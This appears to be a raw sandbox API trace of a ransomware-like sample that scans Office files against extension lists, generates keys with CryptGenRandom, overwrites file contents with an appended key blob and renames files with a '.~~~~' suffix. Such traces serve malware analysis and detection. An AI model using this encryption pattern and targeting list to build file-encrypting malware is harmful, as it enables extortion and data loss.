	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".myd") returned 0x0
	[0140.774] lstrlenW (lpString=".DTXS") returned 5
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.774] lstrlenW (lpString=".ckp") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".ckp") returned 0x0
	[0140.774] lstrlenW (lpString=".dbt") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dbt") returned 0x0
	[0140.774] lstrlenW (lpString=".db") returned 3
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".db") returned 0x0
	[0140.774] lstrlenW (lpString=".TXT") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".TXT") returned 0x0
	[0140.774] lstrlenW (lpString=".MDF") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".MDF") returned 0x0
	[0140.774] lstrlenW (lpString=".bdb") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".bdb") returned 0x0
	[0140.774] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.775] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.776] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.776] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.776] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26076621242) returned 1
	[0140.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd5052f0, dwHighDateTime=0x1d60e1e)) 
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d068
	[0140.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d068 | out: hHeap=0x300000) returned 1
	[0140.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7ae0
	[0140.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0140.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.777] GetLastError () returned 0x0
	[0140.777] GetLastError () returned 0x0
	[0140.778] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.778] GetLastError () returned 0x0
	[0140.778] GetLastError () returned 0x0
	[0140.778] ReadFile (in: hFile=0xc4, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x52da, lpOverlapped=0x0) returned 1
	[0140.890] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffad26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.890] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x52da, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x52da, lpOverlapped=0x0) returned 1
	[0140.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.890] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.890] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.890] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.890] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.891] CloseHandle (hObject=0xc4) returned 1
	[0140.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b09d0
	[0140.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif.~~~~")) returned 1
	[0140.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.894] GetLastError () returned 0x0
	[0140.894] RtlWakeConditionVariable () returned 0x0
	[0140.894] GetCurrentThreadId () returned 0xaf0
	[0140.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".scr") returned 0x0
	[0140.895] lstrlenW (lpString=".cmd") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".cmd") returned 0x0
	[0140.895] lstrlenW (lpString=".dll") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dll") returned 0x0
	[0140.895] lstrlenW (lpString=".bat") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".bat") returned 0x0
	[0140.895] lstrlenW (lpString=".cpl") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".cpl") returned 0x0
	[0140.895] lstrlenW (lpString=".sys") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".sys") returned 0x0
	[0140.895] lstrlenW (lpString=".msc") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".msc") returned 0x0
	[0140.895] lstrlenW (lpString=".com") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".com") returned 0x0
	[0140.895] lstrlenW (lpString=".lnk") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".lnk") returned 0x0
	[0140.895] lstrlenW (lpString=".msp") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".msp") returned 0x0
	[0140.895] lstrlenW (lpString=".pif") returned 4
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".pif") returned 0x0
	[0140.895] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.966] lstrlenW (lpString=".sqb") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".sqb") returned 0x0
	[0140.966] lstrlenW (lpString=".ost") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".ost") returned 0x0
	[0140.966] lstrlenW (lpString=".txt") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".txt") returned 0x0
	[0140.966] lstrlenW (lpString=".mdt") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".mdt") returned 0x0
	[0140.966] lstrlenW (lpString=".BDB") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".BDB") returned 0x0
	[0140.966] lstrlenW (lpString=".eql") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".eql") returned 0x0
	[0140.966] lstrlenW (lpString=".DBF") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DBF") returned 0x0
	[0140.966] lstrlenW (lpString=".EQL") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".EQL") returned 0x0
	[0140.966] lstrlenW (lpString=".FDB") returned 4
	[0140.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".FDB") returned 0x0
	[0140.970] lstrlenW (lpString=".EDB") returned 4
	[0140.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".EDB") returned 0x0
	[0140.970] lstrlenW (lpString=".DACPAC") returned 7
	[0140.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.970] lstrlenW (lpString=".VHD") returned 4
	[0140.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".VHD") returned 0x0
	[0140.970] lstrlenW (lpString=".DBV") returned 4
	[0140.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DBV") returned 0x0
	[0140.971] lstrlenW (lpString=".dacpac") returned 7
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.971] lstrlenW (lpString=".sdf") returned 4
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".sdf") returned 0x0
	[0140.971] lstrlenW (lpString=".accdb") returned 6
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".accdb") returned 0x0
	[0140.971] lstrlenW (lpString=".DBX") returned 4
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DBX") returned 0x0
	[0140.971] lstrlenW (lpString=".MDT") returned 4
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".MDT") returned 0x0
	[0140.971] lstrlenW (lpString=".SQB") returned 4
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".SQB") returned 0x0
	[0140.971] lstrlenW (lpString=".vhd") returned 4
	[0140.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".vhd") returned 0x0
	[0140.971] lstrlenW (lpString=".bac") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".bac") returned 0x0
	[0140.972] lstrlenW (lpString=".mdf") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".mdf") returned 0x0
	[0140.972] lstrlenW (lpString=".BAK") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".BAK") returned 0x0
	[0140.972] lstrlenW (lpString=".BAC") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".BAC") returned 0x0
	[0140.972] lstrlenW (lpString=".dbs") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dbs") returned 0x0
	[0140.972] lstrlenW (lpString=".vhdx") returned 5
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.972] lstrlenW (lpString=".NDF") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".NDF") returned 0x0
	[0140.972] lstrlenW (lpString=".dat") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dat") returned 0x0
	[0140.972] lstrlenW (lpString=".DBS") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DBS") returned 0x0
	[0140.972] lstrlenW (lpString=".CKP") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".CKP") returned 0x0
	[0140.972] lstrlenW (lpString=".edb") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".edb") returned 0x0
	[0140.972] lstrlenW (lpString=".PST") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".PST") returned 0x0
	[0140.972] lstrlenW (lpString=".dbf") returned 4
	[0140.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dbf") returned 0x0
	[0140.973] lstrlenW (lpString=".SQL") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".SQL") returned 0x0
	[0140.973] lstrlenW (lpString=".pst") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".pst") returned 0x0
	[0140.973] lstrlenW (lpString=".dbv") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dbv") returned 0x0
	[0140.973] lstrlenW (lpString=".SDF") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".SDF") returned 0x0
	[0140.973] lstrlenW (lpString=".dtxs") returned 5
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.973] lstrlenW (lpString=".db3") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".db3") returned 0x0
	[0140.973] lstrlenW (lpString=".OST") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".OST") returned 0x0
	[0140.973] lstrlenW (lpString=".dbx") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dbx") returned 0x0
	[0140.973] lstrlenW (lpString=".DB3") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DB3") returned 0x0
	[0140.973] lstrlenW (lpString=".DAT") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DAT") returned 0x0
	[0140.973] lstrlenW (lpString=".VHDX") returned 5
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.973] lstrlenW (lpString=".ndf") returned 4
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".ndf") returned 0x0
	[0140.973] lstrlenW (lpString=".DB") returned 3
	[0140.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DB") returned 0x0
	[0140.974] lstrlenW (lpString=".sql") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".sql") returned 0x0
	[0140.974] lstrlenW (lpString=".MYD") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".MYD") returned 0x0
	[0140.974] lstrlenW (lpString=".DBT") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DBT") returned 0x0
	[0140.974] lstrlenW (lpString=".ACCDB") returned 6
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.974] lstrlenW (lpString=".fdb") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".fdb") returned 0x0
	[0140.974] lstrlenW (lpString=".bak") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".bak") returned 0x0
	[0140.974] lstrlenW (lpString=".myd") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".myd") returned 0x0
	[0140.974] lstrlenW (lpString=".DTXS") returned 5
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.974] lstrlenW (lpString=".ckp") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".ckp") returned 0x0
	[0140.974] lstrlenW (lpString=".dbt") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".dbt") returned 0x0
	[0140.974] lstrlenW (lpString=".db") returned 3
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".db") returned 0x0
	[0140.974] lstrlenW (lpString=".TXT") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".TXT") returned 0x0
	[0140.974] lstrlenW (lpString=".MDF") returned 4
	[0140.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".MDF") returned 0x0
	[0140.975] lstrlenW (lpString=".bdb") returned 4
	[0140.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".bdb") returned 0x0
	[0140.975] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.975] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.976] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.976] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.976] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26096657784) returned 1
	[0140.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd6f44d0, dwHighDateTime=0x1d60e1e)) 
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b38
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b38 | out: hHeap=0x300000) returned 1
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0c70
	[0140.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
